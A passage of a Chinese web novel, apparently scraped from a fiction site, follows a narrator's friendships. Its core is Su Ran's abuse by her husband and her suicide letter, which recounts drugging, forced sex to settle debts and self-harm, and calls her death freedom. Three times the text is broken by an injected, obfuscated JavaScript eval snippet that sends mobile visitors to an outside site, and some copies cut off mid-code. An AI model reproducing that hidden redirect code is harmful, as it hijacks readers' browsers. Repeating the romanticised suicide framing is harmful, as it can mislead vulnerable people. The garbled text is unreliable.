我们咬着牙起诉了张恒,法院的判决书下来了,明明白白写着他该赔偿,可他就像块滚刀肉,耷拉着脑袋说:“我没钱,要命一条。”任你说破嘴皮,他就是那句“没钱还”。 那段时间沈晋川整个人都垮了,常念叨张恒上学时不是这样的,那时候他人有多好多善良,怎么现在就变人了呢? 其实说到底,还是我们自己蠢。 第一次开网红店挣了钱,就像吃了蜜似的忘了形,总觉得好运会一直跟着,张恒是和我们共过甜的人,怎么会反过来捅刀子? 我们把所有事都交给他,他说货源靠谱就信,他说不用签合同就不签,连货没到之前去工厂看一眼的念头都没闪过,就这么眼睁睁跳进了他挖好的坑。 23. 爱情就是慢性毒药 店铺已经租好,我和沈晋川也不能一直干坐着发愁,颓废了几天后,我们决定按着先前的计划开网店和实体店。 那阵子,我们几乎天天泡在批发市场,最后还是决定卖饰品。 因为手里的钱早就见了底,之前借的外债还没还上,启动资金成了天大的难题。 严莉莉知道后,二话不说转来了一笔钱,附带一句“不急着还,我这一时半会也用不上”。 看着到账提示,我一下子就红了眼,感谢的话没有说太多,我和沈晋川就这样开始了我们的创业之路。 那年冬天,严莉莉打视频过来,说她准备回来了,我顺口问是不是和彭子然一起,她对着镜头摇了摇头,语气平淡地说:“我们分了。” 我愣了一下,第一反应就是她玩腻了,甩了人家。 她对着镜头苦笑了一下,指尖夹着支烟没点燃:“前阵子他带我回他家了,我才算明白什么叫门当户对,他家里人看我的眼神,像是在打量什么不干净的东西。” 她顿了顿,吐了口气:“你说彭子然这样的,有学历,长得好,家里又有钱,想嫁他的女人能从街头排到巷尾,他到底喜欢我什么?” 我想起彭子然以前跟我们打趣时说过,严莉莉就是他的桃花劫,上辈子欠了她的,所以这辈子要还给她。 屏幕这头,我扭头看了眼正在打包快递的沈晋川,他刚好抬头冲我笑,我们俩大概是这堆乱麻里唯一顺顺当当的,沈晋川走过来从后面环住我的肩膀,在我脸颊上轻啄了两下,我听着严莉莉讲她和彭子然的事,忽然想起潘露曾讲过的:“有些人就像毒品,沾一口,这辈子都戒不掉。” 彭子然对严莉莉,大概就是这样吧。 严莉莉说彭子然家里闹得天翻地覆,他妈以死相逼,他爸放话“你要娶她,就别认我这个爸”,他愣是拉着严莉莉出了家门,说什么都不改主意。 我忍不住问她:“你爱彭子然吗?” 她吸了口烟,好半天才慢悠悠地说:“他有钱。” 那语气里的漫不经心,好像彭子然爱不爱她,爱得多深,都跟她没关系,只要钱包鼓着就行。 “说白了,你就是爱他的钱呗。”我忍不住戳破。 她又吸了口烟,从鼻子里喷出烟圈:“也许吧。” 我不明白,既然如此又为什么要分开呢? 严莉莉说,彭子然带她回家不到三个月,就没在来找过她了。 “嘴上说什么为了我可以不顾一切,结果呢?腻了呗,他还真能不管父母的死活和我结婚不成?”她叼着烟,笑得满不在乎,“爱能值几个钱啊?” 我这才知道,他们的爱情里,是彭子然先松开了手。 她耸耸肩,语气轻松得像是甩掉了一个大麻烦:“不来找我倒省心,反正我也只是玩玩,正愁着怎么甩掉他呢。” 可当她低头弹烟灰时,我分明看见她睫毛颤了颤,她在难过。 我想,严莉莉一定是喜欢彭子然的,否则怎么会跟他回家见父母? 但那时候,我们谁都不知道,彭子然为什么突然消失了。 也是那个冬天,苏冉出事了。 她总跟我们说罗斌心里是有她的,就算在罗家受再多委屈,她都能忍,罗斌也吃准了她这一点,越发没了顾忌,慢慢的回家次数越来越少,心情不顺畅就对着苏冉拳打脚踢,即便这样,苏冉依旧没有想要离开他的想法。 直到有天中午,苏冉路过一家服装店,隔着玻璃看见罗斌搂着个女人说说笑笑。 她就那么站在冷风里看了好久,眼睁睁看着罗斌给那女人挑了套黑色蕾丝内衣,他从没给她买过,哪怕一双袜子。 看着两人打情骂俏的样子,苏冉没能忍住,猛地冲了进去。 她没打罗斌,直接扑向了那个女人,嘴里喊着“狐狸精”,上手就撕。 两个女人扯着头发,骂脏话,罗斌却一把拉开那个女人护在身后,反手给了苏冉一巴掌,骂她:“穿成这样不嫌丢人?滚回去!” 苏冉跟我们打电话说这一切时,声音抖得不成样子,却仍在为罗斌开脱:“罗斌肯定不是故意的,他以前对我可好了,什么都不让我做……是不是我哪里做得不好,他才生气的?” 明明是被出轨,被家暴的,她倒先替对方辩解了起来。 人怎么会这样奇怪,明明对方做错了事,却还是忍不住替他找借口,把过错揽在自己身上,翻出从前那些零星的好,像攥着救命稻草一样,一遍遍告诉自己“他是爱我的”。 我实在没忍住,劝她要不就离婚吧,人生才刚开始,不能在一个人身上耗死。 电话那头,苏冉的声音带着苦涩的笑意:“离了他我能去哪儿呢?谁会要我啊……”她顿了顿,声音轻了下去,“其实他平时挺好的,就是最近压力大才会这样,都怪我没用,帮不上他的忙……” 她越说声音越小,像是要把自己埋进尘埃里。 那些婚前的温柔片段,被她翻来覆去地咀嚼着,仿佛这样就能证明现在的拳头和辱骂都是假象。 被打的是她,道歉的是她,被伤害的是她,找借口的还是她。 我听着苏冉一句句为罗斌开脱,突然觉得她就像被暴雨打落的花,明明已经零落成泥,却还要固执地相信,自己是被春风遗落在这里的。 陷到爱情里的人怎么会如此可悲呢?就像是把对方当成了一切,即便被伤的体无完肤,还总是会找借口替他辩解。 严莉莉知道后,说:“她这是被罗斌洗脑了,没救了,也就是找咱们诉诉苦,我们说什么她是听不进去的。” 她说爱情这东西,跟慢性毒药似的,喝的时候甜滋滋的,等发现中毒时,早就病入膏肓了,苏冉现在就是,明明毒发了还抱着药瓶子不撒手。 好像是这么一回事,听着严莉莉喋喋不休的分析,我想,不管怎么样我和沈晋川要一直幸福下去。 我和沈晋川的网店正好赶上风口,生意渐渐有了起色。 “方梨!我们挣钱了!”沈晋川抱着我转圈,眼睛亮得像星星。 其实也没多少,网店的单量比实体店好不少,总归是个好开头。沈晋川搂着我肩膀,信心满满地说:“以后会越来越好的,到时候让你当甩手掌柜。” 我笑着说好。 隔天刚回到家,就接到了沈晋川的电话,他声音里的兴奋都快从听筒里溢出来了:“老婆,在家吗?等着我,给你个大惊喜!” 我坐在客厅里猜了半天,他口中的惊喜会是什么?难道是玫瑰花? 记得大学时他每个节日都去武汉看我,手里捧着一束红玫瑰,里面夹着张卡片,写着“我爱你,方梨”。 毕业后就再没收到过了,不是他不送了,是我不让他在送了,一百多块的花,够我们吃好几天的菜了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464348|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 门锁“咔哒”响了,沈晋川走了进来,手里没有那花,傻笑着捂住我的眼睛:“不许偷看,把手伸出来。” 我照做,问他到底要干嘛神神秘秘的,而后就感觉无名指上被套上了一个东西。 是戒指? “睁眼!” 我看着无名指上的钻戒,脑子“嗡”的一声,半天没说出话来。 “……多少钱?”我心里一紧。 “八千。”他挠着头笑,眼里满是期待,“喜欢吗?” 八千?我几乎要跳起来,刚赚的钱,就这么砸在了个不能吃不能穿的小石头上?我甚至不明白他花钱买这个小东西干嘛! “沈晋川你疯了?!”我急得嗓门都高了,“我们现在什么日子你不知道?还欠着钱呢!你怎么就用钱买这种没用的东西……” 话没说完,我就看见他眼里的光一点点暗下去,眼圈慢慢红了,眼泪在眼眶里打转。 我瞬间卡壳了。 沈晋川伸手把我揽进怀里,胳膊收得很紧,没说话。 我能感觉到他胸口的起伏,心里的火气一下子就灭了,只剩下密密麻麻的疼。 我知道,他是想给我最好的。 不知过了多久,他闷闷地说:“对不起啊,让你跟着我受苦了,钱会慢慢赚回来的,我以为你会喜欢,我选了很久……等以后,给你换个更大的。” 我把脸埋在他胸口,使劲点头,眼泪却不争气地掉了下来。 他只是想给我惊喜而已,我看着手上的戒指,觉得我大概是这世上最幸福的小女人了。 严莉莉又打电话来,声音里带着藏不住的雀跃:“小屁孩,我要结婚了。” “跟谁?” “还能有谁,彭子然。”她轻笑一声。 她在电话那头轻描淡写地说起这事:“他家破产了,那傻子觉得给不了我钱,就玩消失。”她嗤笑一声,“结果没憋住,又跑回来了。” 我听着她故作嫌弃地说着“谁稀罕”,却能从她上扬的尾音里听出笑意。 她越是说“烦死了”,就越暴露了心里那点小欢喜,我想她一定也是爱彭子然的。 我以为彭子然总算感动了严莉莉,守得云开见月明了。 那时候谁也不知道,他爱她爱得有多疯,直到后来彭子然为了严莉莉差点没了命,躺在病床上还攥着她的手说“莉莉,我爱你”,我们才懂。 结婚前几天,我和苏冉拉着严莉莉问:“你是真心想嫁给他吗?” 她慢悠悠地说:“过日子吗,和谁过不都一样吗?总不能一辈子不结婚不是。” 这话说得轻飘飘的,却让我忍不住挑眉,从前那个把“不婚主义”挂在嘴边,动不动就说“男人没一个好东西”的严莉莉,什么时候学会说这种认命的话了? 我看着她故作淡然的样子,突然就明白了,她哪里是真的看开了,分明是把真心藏得更深了。 就像受过伤的猫,明明想靠近,却非要装作满不在乎的样子,生怕被人看穿了心思,就又会受伤。 他们的婚礼简单得近乎潦草,就领了个红本本,在饭店摆了一桌,除了我们几个老友,再没别的宾客了。 严莉莉晃着红酒杯打趣:“这哪像结婚啊,跟咱们平时聚餐没两样。” 可当她转头看见彭子然正笨手笨脚给她剥虾时,眼角眉梢都是藏不住的笑意。 24. 如此卑微的爱情 严莉莉和彭子然婚后留在了杭州,在城郊盘下了一家小超市,用严莉莉的话说,是在广州待得腻了,想换个环境。 彭子然自始至终没反对过,毕竟严莉莉在哪儿,他的家自然就在哪儿。 开春时,我和沈晋川收到了骆海馨的结婚邀请,我在微信里给她发了长长的祝福,说婚期当天一定和沈晋川到场。 挂了电话我跟沈晋川感慨:“真没想到啊,骆海馨和刘杰居然要结婚了。” 印象里,骆海馨当年考去了浙江,刘杰落榜后没再复读,先是去学了门修车手艺,后来自己开了家修车店。 那些年他们一直异地,刘杰总隔三差五往杭州跑,光是听沈晋川念叨过的次数就数不清。 后来骆海馨毕业没留在杭州,反倒回了老家,我总觉得,这大概就是双向奔赴的模样,如今终于要修成正果,想必他们心里也是幸福蜜甜的。 结婚那天我和沈晋川回了老家,到了婚宴现场见着老同学,才知道骆海馨嫁的根本不是刘杰。 “刘杰那修车店是挺挣钱的。”同学压低声音说,“可他朋友太多,三天两头请人吃饭,兄弟有事随叫随到,说是重情义,其实就是没分寸,开店好几年,钱是过了手,愣是没存下多少。” 两人原本说好攒钱结婚,偏偏那时刘杰的朋友家人生病,张口就向他借了一大笔。 刘杰没犹豫就把钱转了过去,这事成了导火索,两人吵得天翻地覆。 骆海馨觉得他是打肿脸充胖子,自己日子过得紧巴巴,偏要打肿脸充胖子帮别人,分明是没打算跟她好好过日子。 刘杰却梗着脖子说,当年他开店最难的时候,是这帮兄弟拉了他一把,现在人家有难,他不能不管。 就这么大吵了一架后,两人分了,紧跟着,骆海馨就在家人安排下相了亲,不到三个月就定了这门婚事。 我听着心里堵得慌,说不出是什么滋味。 想起高中时他们轰动全校的恋情,课间操时偷偷递颗糖都能引来一片起哄,刘杰会省下早饭钱给骆海馨买饮料,冬天把她的手指揣在自己口袋里暖着,那时候的爱情都是藏起来的,只有他们是不管不顾的。 上了大学偶尔听同学提起,都说刘杰对骆海馨好得没边,恨不得把心掏出来给她。 沈晋川以前也常说,刘杰每次去杭州都是大包小包的,带的都是骆海馨爱吃的家乡特产。 明明是这样相爱的两个人,怎么就走到了这一步? 那天刘杰也来了,这是我高中毕业以来头一回见他,眉眼还是当年的样子,只是比以前更黑了,透着股常年在外奔波的糙气。 他跟我们坐在同一桌,眼睛一眨不眨地盯着台上的骆海馨,直到司仪喊着“交换戒指”,看着两人拥吻时,他才缓缓转过头,端起桌上的白酒,咕咚一声灌了下去。 我看着台上的骆海馨,跟沈晋川说:“我们一定要好好的。” 沈晋川牵着我的手吻了一下:“当然了,没有什么能把我们分开。” 我看着刘杰通红的眼眶,不知他此刻心中翻涌着怎样的情绪。 那个曾经满心满意爱着他的姑娘,如今身披白纱走向了别人,这份痛楚该是怎样的刻骨铭心?作为局外人,我只能从旁人的只言片语中拼凑这段往事。 他们之间究竟发生过什么,我无从知晓,但刘杰的神情骗不了人,他定然是悔恨交加,眼睁睁看着心爱之人另嫁他人,任谁都难以承受吧。 可这又能怪骆海馨吗?她想必也曾期盼过成为刘杰的新娘,也许是在一次次被刘杰排在朋友之后,她终于确信自己并非他的首选。 而刘杰,他必定深爱着骆海馨,只是没想到短短数月间,只因他帮了兄弟,就永远失去了挚爱。 明明相爱的两个人,为何会走到这般境地?或许当骆海馨渴望安定时,在刘杰身上却看不到明确的未来吧。 可事实究竟是怎样的,我想只有当事人自己清楚吧。 骆海馨带着新郎来同学桌敬酒时,脸上始终挂着得体的笑,目光扫过刘杰时,那笑容也没淡半分。 刘杰扯了扯嘴角,算是回了礼,眼眶依旧红着,举起酒杯一饮而尽,声音有点哑:“祝你新婚快乐。” 骆海馨挽着新郎的手,轻声道了谢。 她的新郎在银行上班,个子跟她差不多,论样貌确实不如刘杰周正,但说话时语气温柔,看向骆海馨的眼神里满是妥帖。 一桌坐的都是当年的老同学,都是见证过他们当年轰轰烈烈爱情的人,可席间没人提起半个字,默契地装作不知道台上新娘和桌前这个红了眼眶的男人,曾经有过怎样刻骨铭心的爱情,就好像他们只是恰好被邀请参加婚礼的普通同学。 婚礼结束后,我又去看了苏冉,她比前阵子严莉莉结婚时,更沧桑更憔悴了。 脸上还有伤,不用问也知道,罗斌又动了手。 不知道从什么时候开始,罗斌开始看不起她,没有理由的打骂羞辱她。 “他之前说跟人合开厂子,根本就是骗人的。”苏冉哭着说,“他根本没开厂,是迷上了打牌,钱都被他输光了,还到处去借,每次回家张口就是要钱,不给就打我……” 罗斌妈妈身体本来就不好,被他气的出事走了。 罗斌打的狠的时候,苏冉就抓着他的胳膊一个劲的求饶,可就算这样,她还是替他辩解,说他不是故意的,以前不这样的,是被外面的女人迷了心窍,她想把他拉回来,让他重新看到她的好,好好跟她过日子。 我看着她眼底拼命攒起的光,忽然想起那句“女人要犯起傻来,究竟能傻成什么样?” 我想苏冉上辈子肯定是欠了罗斌的,所以老天才惩罚她这辈子还清。 他明明已经不爱了,眼里的厌恶早就漫出来了,像脏水一样泼在她身上,她却偏要找块干净的布,一点点擦掉,骗自己那只是水渍。 被外面的女人迷了心智?我在心里冷笑,到现在了苏冉都还在用这荒唐的理由骗自己。 罗斌分明是摸透了苏冉的软肋,知道这个女人就算被揉碎了,也舍不得从他身边走开。 我真不明白,为什么有些人一旦陷入爱情,就没了自我,不为自己而活了呢? 这些年苏冉守着菜市场的摊位,照顾重病的婆婆,把家里里外外打理得妥帖,罗斌像个甩手掌柜,没钱了就回家伸手。 起初罗斌或许还有些忌惮,可几次试探下来,摸清了苏冉的底线,无论他做什么,她都不会走。 于是胆子越来越大,而苏冉的底线也跟着一退再退,退到最后,两个人早就站在了不对等的天平两端。 就像罗斌曾经轻蔑说过的:“是她哭着喊着要爱我的,我给过她机会,是她自己不走。” 这话像根毒刺,扎在苏冉心上,也扎在我们这些旁观者眼里。 他日复一日地贬低她,给她洗脑说“除了我没人要你”,偏她本身就敏感自卑,日子久了,难免也开始怀疑自己是不是真的一文不值。 苏冉爱罗斌的样子,像极了彭子然对严莉莉的执念,都像是上辈子欠了债,这辈子非要连本带利还干净。 我们几个人之中,大概只有我和沈晋川是真心相爱的吧。 我心疼苏冉,劝她为自己活一次。可她翻来覆去都是那几句:“他对我还是好的”“只是不小心”。 严莉莉听说罗斌又动了手,火急火燎地赶回来,攥着拳头说要去撕了那个畜生。 罗斌没找到,苏冉却急得直拉她的胳膊:“莉莉,真的不严重,罗斌对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我愣了一下,没听明白她的话,问她为什么会有这种想法?这种想法肯定是不对的,我第一反应就是,肯定是因为罗斌。 我说:“胡说什么呢?谁年轻的时候没遇到过渣男,为这种人就说要死要活的,不值得!” 她扯了扯嘴角,像是在笑:“我就是打个比方,前几天看了部剧,里面的人死了,刚开始大家都念着她,可没多久就忘了……我就想,要是我不在了,你会不会一直记着我?” “当然会!”我急忙打断她,“你好好的,怎么会不在?等我们老了,还要一起玩呢。” 她没接话,只是一杯接一杯地喝酒,我看着她酩酊大醉的样子,心里越来越慌,提议先跟罗斌分开一段时间,她却摇着头喃喃道:“来不及了……” “为什么爱情不能专一呢?”她忽然抬头问我,“爱上一个人的时候,为什么不能一心一意呢?” “别想罗斌了,不值得。”我握住她的手,“只要你想通了,什么时候都来得及!” 我想困住她的从来不是罗斌,是她自己。 她只是红着眼睛看着我摇头。 后来严莉莉听说了,叹着气说:“苏冉只是在罗斌伤害她后会难过一阵子,之后就会用罗斌偶尔给她的那一点点好来哄自己,她这辈子,是离不开罗斌的。” 或许真是这样,她活在自己编织的梦里,守着过去的回忆不肯醒来。 我回杭州一个星期后,接到了苏冉的电话。 她在电话里说:“方梨,我可能要出趟远门。” 我问她去哪?她却只说:“很远很远,到时候你就知道了。” 我以为她终于想通了要离开罗斌了,满心欢喜地嘱咐她照顾好自己,却没料到,那是她最后一次跟我说话。 三天后,我收到了一个包裹,是她出事前寄出的。 打开包裹,里面是些零碎的物件,还有一封厚厚的信,信里写满了她的爱情,也写清了她要去天堂的原因。 那一刻,我才知道,她说的“远门”,原来是去往再也回不来的地方。 25. 爱到病入膏肓 我颤抖着打开信封,薄薄的信纸像有千斤重。 方梨,当你看到这封信的时候,我已经走了,彻底离开罗斌了,去一个很远很远的地方,远到再也不会回头的地方。 莉莉说得对,也许我真的没办法离开他。 我也搞不懂自己。 明明心里清楚他不爱我了,却还要一遍遍骗自己,骗自己他还有爱。 有时候,我也恨自己,怎么就那么贱?怎么就离不开他?怎么就死守着他偶尔施舍的那一点点微不足道的好过日子。 每次我下定决心要走,他又会突然对我好时,那点好就像火星子,总能瞬间点燃我心底那点可笑的希望。 我就会动摇,会想他是爱我的吧?不然怎么会娶我呢? 后来为什么不爱了?我想,这里面也有我很大一部分原因吧,我把爱倒得太满了,深得淹没了自己,把他当成了我的天,我的地,我的全部。 活着,我是真没办法离开他了,所以,我选择用这种方式走。 别为我难过,方梨,我自由了,你们该为我高兴的。 走之前,我想把我的故事,在这有生之年……不,是最后一点时间里,讲给你听。 我想让你知道,我的人生虽然不如你们那样轰轰烈烈,但也和世上千千万万的女孩一样,有过短暂的,像烟花一样亮过的爱情。 只是,我没把它经营好,让它变成了灰烬。 高三毕业那年,罗斌在扣扣上对我说,他喜欢我,他说,从高一就喜欢了,怕耽误我学习,一直憋着,考完试才敢开口。 我看着屏幕上那行字,心快从嗓子眼里跳出来了,我从没想过,像我这样普普通通的女孩,青春里也会有人喜欢,我几乎没怎么犹豫,就答应了。 我的爱情,开始得那么草率,没有正式的表白,没有鲜花,只有扣扣对话框里冷冰冰的那句:“林苏冉,我上高一就喜欢你了,你能做我女朋友吗?”可那时,我觉得那是世上最动人的情话。 高考成绩出来,我的分数平平,我爸妈说家里供不起,不让我读了。 罗斌知道后对我说:“你想读,我去打工赚钱供你。”就这一句话,像一束光照进我心里。 我感动得不行,觉得爱情就该是这样,觉得罗斌是掏心掏肺地爱我,为我付出一切,那一刻,我就认定了,这辈子就是他了,如果他要娶我,我一千个一万个愿意。 后来,我去了市里打工,没多久,罗斌也来了,他本来在家帮他爸妈守菜市场的摊子,为了能见到我,也跑到市里找了份工,他说,就想离我近一点。 那段日子,多好啊,他每天接我下班,带我去吃好吃的,我的情绪,他总能第一时间察觉到,有一点不开心,他马上就能哄好,我觉得自己幸福得冒泡。 在市里工作不久,他提出同居,他说,两个人各租各的房子,一个月多花一份冤枉钱,不如住一起,还能省点,我答应了。 我们住到了一起,像所有热恋的情侣。罗斌宠我宠得没边,对我言听计从,接我上下班,饭都不用我做,我想吃什么,他二话不说就买,看我的眼神里,满满的都是爱意。 那时候的我,可以有自己的小脾气,可以肆无忌惮地撒娇耍性子。 直到有天晚上,我听见罗斌和他妈妈打视频电话,他爸病了,挺严重的,我想帮他,就把自己攒的钱都拿了出来。 我还告诉他,之前借给了莉莉六千块,没想到他突然就炸了,骂我“装大款”,骂我把钱借给莉莉那种“不知廉耻跟人跑了的女人”。他骂得很难听,那是我第一次见他发那么大的火。 我懵了,不明白他为什么生气,我的钱,借给我朋友,怎么了?他吼,说他爸生病那么大的事,他一个人扛着痛苦没告诉我,我却有钱借给外人?那天,他还抢过我的手机,打电话骂了你和潘露。 我想拦,可他红着眼睛吼我,说我不爱他,我慌了,我怕了,我想告诉他不是那样的,我爱他啊。 事后,他跟我道歉,说他不是故意的,是他爸的病把他急昏了头,我知道不能怪他,他只是太着急了。 他爸的病越来越重,花钱像流水,看他那么辛苦,我心都揪着疼。 我偷偷找了两份工,他知道后,心疼地抱着我,让我晚上那份别去了,太累,看着他心疼我的样子,我就知道,他是真的爱我,我想和他一起扛,不想让他一个人吃苦。 可他爸还是没挺过来,走了。 后来,他说:“冉冉,我们结婚吧。” 我毫不犹豫地点头,我觉得我终于要嫁给我心尖尖上的人了。 我们高高兴兴地回了我家,我爸妈一开始对他还算热情,可一提到彩礼,气氛就变了。 十万块?罗斌他爸治病花光了家底,哪还有十万?可我爸妈咬死了不松口。 罗斌安慰我,说他会想办法,只要我肯嫁,他一定娶我。 我当然要嫁给他,除了他,我还能嫁给谁? 我们跑了很多趟我家,每次去,我爸妈都冷着脸,罗斌的妈妈身体也不好,盼着我们早点结婚。 她说,他爸没看到我们成家,她希望能看到。 罗斌也开始烦躁了,他说自己没本事,没出息,挣不来那么多钱娶我,说如果我想走,他不会拦着。 我怎么可能走?我要嫁给他!我哪儿也不去!罗斌说,如果我们有个孩子就好了,我爸妈就不会这么反对了。 我觉得他说得对,一点都没觉得这想法有什么问题,只觉得他太爱我了,太想和我在一起了。 而我,同样疯狂地想和他在一起,在他的影响下,我慢慢疏远了我爸妈,告诉他们,我非罗斌不嫁。 我爸气得跑到市里找我,想把我硬拽回家,我死活不走,他说,不走就永远别认他们了。 不认就不认吧!我想,反正他们也不爱我,对我不好,我有罗斌就够了。 僵持了一段时间,我爸妈突然松口了,说彩礼降到六万六,要是连这都没有,就算我俩过日子,也别想拿户口本领证。 罗斌是真的想娶我,他东拼西凑,求爷爷告奶奶,硬是把钱凑够了,我们结婚了,婚礼上,罗斌拉着我的手说:“冉冉,今生今世我只对你好,以后绝不负你。” 我心里想着,以后是生是死,我都是他的人了。 我知道,那时,他肯定是爱我的。 以前听人说,一个女人肯在男人最落魄的时候跟他同甘共苦,男人会为这个女人生,为这个女人死。 我当真了,我以为,爱能打败一切。 可谁能想到,婚姻才刚开始,我的爱情就已经输得一败涂地。 结婚后,我们辞了市里的工作,回到他老家,接手了他爸妈留下的菜市场摊位。 起初还好,一起进货,一起收摊回家,慢慢地,他嫌累了,抱怨一天也挣不了几个钱,后来,他常常凌晨拉完菜就回家睡觉,有时候甚至干脆不去摊上了。 他说,男人就该干大事,窝在菜市场没出息。 我不忍心看我的男人受这份苦,就自己学会了开那辆破旧的三轮车,每天凌晨三点半,闹钟一响,我就爬起来,一个人去拉菜。 那段时间,我像个灰头土脸的影子,每天天不亮就出门,有时脸都顾不上洗,牙也忘了刷,穿着洗得发白的旧衣服。 累是真累,骨头缝里都透着酸,可我能感觉到罗斌对我的爱还在。 那时,他会用很深很深的目光看着我,一遍又一遍,特别温柔地叫我的名字,“冉冉……冉冉……” 在无数个夜晚,当他抱着我,当我们的身体紧紧缠绕在一起,肌肤相亲时,他会在我耳边低语:“冉冉,我爱你。”“冉冉,我真的好爱你。” 你知道吗,方梨,他那时候,是真的爱我,很爱很爱的。 每当他那样叫我,我就像只欢快的小兔子,一头扎进他怀里。 我不怕吃苦,真的不怕。我本来就是苦水里泡大的孩子。 我想着,只要能一直这样被他爱着,再苦再累,我都心甘情愿。 后来,我们欠的债慢慢还掉了一些,可罗斌却变了,他开始嗜酒,变得像个炮仗,一点就着。 他认识了几个朋友,经常跟他们出去胡混,越来越不着家,开始他还哄我两句,说“老婆辛苦了”。 后来,就肆无忌惮了,经常夜不归宿,回来就是要钱,说他开了个小厂,忙得很,没空天天回家。 说厂里压力大,心烦,回家拿不到钱,他就打我,打完了,清醒了,又抱着我道歉,说他不是故意的,是喝多了,是压力太大。 我一次次心软,一次次原谅。 再后来,我发现他有别的女人了,一个接一个,那些女人,穿着露骨,打扮得花枝招展,看着就让人恶心。 开始,罗斌说是逢场作戏,开厂应酬没办法,跟她们没什么,其实我心里明镜似的,我只是不敢相信,不愿意接受。 慢慢的,他开始变得更加肆无忌惮了,从开始带着她们看到我时会躲着到后来毫不避讳。 我的爱情,我视若生命的爱情,正在一点点烂掉,我就像只落汤的老鼠躲在角落里偷看他们幸福的样子,可那幸福在不久前还是属于我的。 我苦苦哀求他,我的彬啊,我爱他爱到了骨子里,没有他,我怎么活? 他变本加厉地动手打我,一次又一次,每次打完,冷静下来,他会抱着我,跟我说对不起,小心翼翼地给我擦药,抚摸那些淤青的伤口。 我知道他是爱我的,他不想这样的,他打我的时候,心里一定也在痛,他只是被酒精控制了,被外面的女人迷昏了头。 再后来,他还是打我,可打完之后,他不再抱着我道歉,不再给我擦药了。 我想,我大概是爱他爱得病入膏肓了。 他都这样对我了,我怎么还是离不开他? 半个月前,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464350|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生日那天,罗斌回来了,给我买了一件粉色的连衣短裙,还亲自下厨给我做了晚饭。 他给我煎了牛排,其实有点老了,但依旧很好吃,吃饭时他没说几句话,可我心里却像开了花一样欢喜。 我想,他肯定回心转意了,他终于要回到我身边了。 他给我倒了一杯红酒,说祝我生日快乐,还给我唱了生日歌。 我酒量浅得很,才一杯下肚,就觉得天旋地转,晕晕沉沉。 他说:“睡吧,睡着就好了。”看着他难得温和的脸,我安心地闭上了眼睛。 第二天醒来,我浑身像散了架,而我身边,躺着一个陌生的男人。 我的彬,我深爱的男人,口口声声说爱我的男人,亲手把我送到了别的男人的床上。 我心如死灰地回到家,他没有解释,一个字都没有,眼神躲闪着,甚至带着一丝嫌恶。 后来我才零零碎碎地知道,他打牌输了很多钱,借了很多钱,没钱还,喝醉了跟人吹牛,说拿我去抵债……我就这样,被他像一件不值钱的物件,在酒后的玩笑里,送了出去。 可那,仅仅只是个开始。 从那以后,他再也没碰过我,他嫌我脏,他打我,骂我,用最恶毒的话羞辱我。 我也觉得自己脏透了,从里到外都脏。 我开始疯狂地迷恋白色,那种纯白,干净得不染一丝尘埃。 我一遍又一遍地搓洗身体,用刷子,皮肤搓破了,渗出血丝,可还是觉得洗不干净,那股肮脏的气味好像渗进了骨头里。 一个星期后,他又带了三个男人回来,他把他们推进房间,自己站在门外,背对着我,一根接一根地抽烟。 我像他手里玩腻了的破布娃娃,随意地丢给了别人。 我亲耳听到,他沙哑着嗓子对门外的人说:“我欠的钱,是不是可以一笔勾销了?” 我觉得自己好脏啊……好脏……好脏……脏得连哭的力气都没有了。 方梨,我爱他爱得太深了,深到把自己埋进了坟墓,爱到最后,只剩下一身伤痕,连抬起手反抗的勇气都消失殆尽了。 我决定走了。 方梨,你们说,我是不是这世上最蠢、最贱、最无可救药的女人…… 信纸从我颤抖的手中滑落,泪水早已模糊了视线,滴在纸上,晕开了墨迹。 我捂着脸,肩膀抑制不住地抽动,喉咙里堵着硬块,连哭声都发不出来。 这封信像一把钝刀,在我心上来回地割,那个混蛋罗斌!他哪里是个人!他根本就是个披着人皮的畜生! 苏冉啊,她怎么那么傻?把一个人渣当命,他却把她当草芥,当玩物,最后甚至当成了抵债的筹码! 她怎么能把自己低到尘埃里,低到连骨头渣子都不剩?这哪是爱?这分明是自毁!是饮鸩止渴! 我替苏冉不值,一万个不值!她的命,不该这样轻飘飘地没了! 我瘫坐在地上,胸口闷得喘不过气,胃里一阵翻江倒海,恶心得几乎要吐出来。 那个男人,他毁了苏冉的一生! 从最初扣扣上那点廉价的甜言蜜语,到后来一步步的算计、控制、暴力,最后把苏冉推入地狱! 苏冉为他疏远父母,为他拼命挣钱,他却把苏冉的真心踩在泥里,碾得粉碎! 苏冉用过去那点可怜的温存麻痹自己,可那都是裹着蜜糖的砒霜,她明明都看到了,都感觉到了那彻骨的冰冷和残忍,为什么还要骗自己?为什么就不能给自己一条活路? 罗斌的恶,是他一点点试探出来的。 从第一次动手后的道歉,到后来明目张胆的背叛,他太清楚苏冉的底线会一退再退。 也许苏冉对罗斌是没有底线的吧。 我颤抖着拿起盒子里的另外两张纸。 是画,苏冉画的的画。 第一幅,是我和沈晋川,她画了我们穿着婚纱和礼服的样子,画得很用心,我的婚纱裙摆画得很飘逸,沈晋川的眼神也画得很温柔。 